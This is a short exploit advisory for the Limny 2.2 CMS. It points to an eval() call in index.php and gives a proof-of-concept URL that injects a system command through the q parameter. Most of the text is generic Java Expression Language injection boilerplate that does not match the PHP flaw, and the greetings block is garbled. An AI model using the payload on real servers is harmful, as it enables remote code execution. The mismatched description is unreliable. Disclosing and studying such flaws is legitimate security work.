Limny 2.2 Expression Language Injection

`========================================================================  
| # Title : limny 2.2 Expression language injection vulnerability  
| # Author : indoushka  
| # email : [email protected]  
| # Tested on : windows 8.1 FranASSais V.(Pro)  
| # Version : 2.2  
| # Vendor : http://www.limny.org/  
| # Dork : n/a  
========================================================================  
  
poc :  
  
  
PHP code injection :  
  
file : index.php  
  
Line 28 " eval($value.';'); "  
  
http://127.0.0.1//limny-2.2/?q=%24{%40${@system(dir)}}  
  
Expression language injection vulnerability :  
  
Vulnerability description :  
  
This script is possibly vulnerable to Expression Language Injection attacks.  
  
To provide easy ways of outputting data from an object model that more closely resembles pure scripting languages,   
Expression Language (EL) was developed as part of JSTL (Java Server Pages Standard Tag Library).   
  
JSP EL is a specification (JSR-245 and JSR 252 [2]) and there are many implementations:   
JSP 2.0/2.1: Used by most recently built applications, and delivered as part of the JSTL.   
Jakarta: An older EL implementation built by Apache.   
OGNL: A powerful EL popularized by Struts2/WebWork.   
MVEL: A general purpose EL usable for console applications.   
SPEL: Springs custom EL for scripting (not used in JSPs).   
  
Expression Language Injection occurs when user input is evaluated by a J2EE servers Expression Language resolvers,   
and a common opportunity for this vulnerability to occur today is with the usage of Spring JSP tags.  
  
Affected items : /limny-2.2/index.php  
  
The impact of this vulnerability :  
  
The impacts of this attack range from a simple HttpOnly bypass to a server-side information leakage technique.   
This information leakage will differ in severity mostly based on what J2EE technologies are in use and what is   
in scope of the vulnerable code. One of the most dangerous abuse scenarios involves an attacker controlled page   
inferring a users session ID on a browser thats currently logged into the vulnerable application.  
  
How to fix this vulnerability :  
  
Perform data validation best practice against untrusted input and to ensure that output encoding   
is applied when data arrives on the EL layer, so that no metacharacter is found by the interpreter   
within the user content before evaluation. The most obvious patterns   
to detect include ${ and #{, but it may be possible to encode or fragment this data.  
  
Attack details :  
  
URL encoded GET input q was set to ${9999840-10937}  
  
Pattern found:  
  
9988903  
  
Greetz : aua'>>a'1/2a'1/2a'dega'deg aua'degaua'degau a'>>a'*a'*auaua'>>------au-auau-a'deg a'degaua'degauPSaua'3a'>>au-------- aua'degauau!a'>>auau aua'degauaua'*oauaua'degau ------  
|  
jericho * Larry W. Cashdollar * moncet-1 * achraf.tn |  
|  
===================== pa'degaua'1/2a'>>au auauoauau aua'>>auauauauauauC/ =============================  
`